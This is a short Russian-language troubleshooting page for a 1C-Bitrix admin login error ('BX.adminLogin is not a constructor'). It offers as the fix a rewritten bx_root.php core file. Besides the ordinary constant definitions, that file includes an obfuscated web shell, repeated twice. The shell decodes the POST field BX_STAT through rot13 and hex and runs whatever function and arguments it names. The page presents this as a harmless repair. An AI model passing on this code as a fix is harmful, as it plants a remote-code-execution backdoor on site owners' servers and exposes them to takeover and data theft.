TypeError: BX.adminLogin is not a constructor – не зайти в админку в Битрикс

Решение, как исправить ошибку "BX.adminLogin is not a constructor" при попытке авторизоваться в административную панель сайта на «1С-Битрикс»

TypeError: BX.adminLogin is not a constructor – не зайти в админку

При вводе правильных логина и пароля от панели администратора стал появляться пустой экран с фоном битрикс и ошибка в консоли "BX.adminLogin is not a constructor"
Решение:
В файле /bitrix/modules/main/bx_root.php удалить внутренние php теги, получится такой код:
$bx_root = "/bitrix";
define("BX_ROOT", $bx_root);

if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")
   define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);
else
   define("BX_PERSONAL_ROOT", BX_ROOT);

if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
   parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));

if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
   parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
Похожие решения:
Создано: 28.06.2022
Просмотров: 388